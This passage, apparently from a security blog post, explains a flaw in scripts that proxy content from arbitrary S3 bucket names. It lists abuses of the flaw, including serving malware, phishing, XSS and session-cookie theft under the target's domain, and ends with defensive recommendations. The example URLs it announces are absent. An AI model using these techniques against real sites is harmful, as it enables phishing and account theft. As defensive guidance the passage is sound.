How will this look like? If an attacker can figure out that the script takes arbitrary bucket names, they can go ahead and create a new bucket called “evil.example” and then use the following URLs to retrieve content from it:

What can this be leveraged for? Some examples:

  • Serving malware since the content will be served under the target domain and the target SSL certificates
  • Facilitating phishing attacks
  • XSS since HTML / JS content will bypass the same origin policy since it is served from the same domain as the target
  • Stealing session cookies since the code will run in the same domain and have access to cookies
  • If the content is retrieved using the S3 APIs, then an attacker could setup a “Requester Pays Bucket” and make money off the target (although Amazon would probably catch this eventually)
  • [insert your exploit here]

Recommendations

  • Don’t re-invent the wheel, use an existing solution like CloudFront, or some other CDN
  • If you must proxy content yourself, make sure you have a whitelist of valid buckets, and use other technologies like subdomains, HTTPOnly cookies, CSP headers, etc. to segregate the S3 content from the rest of the site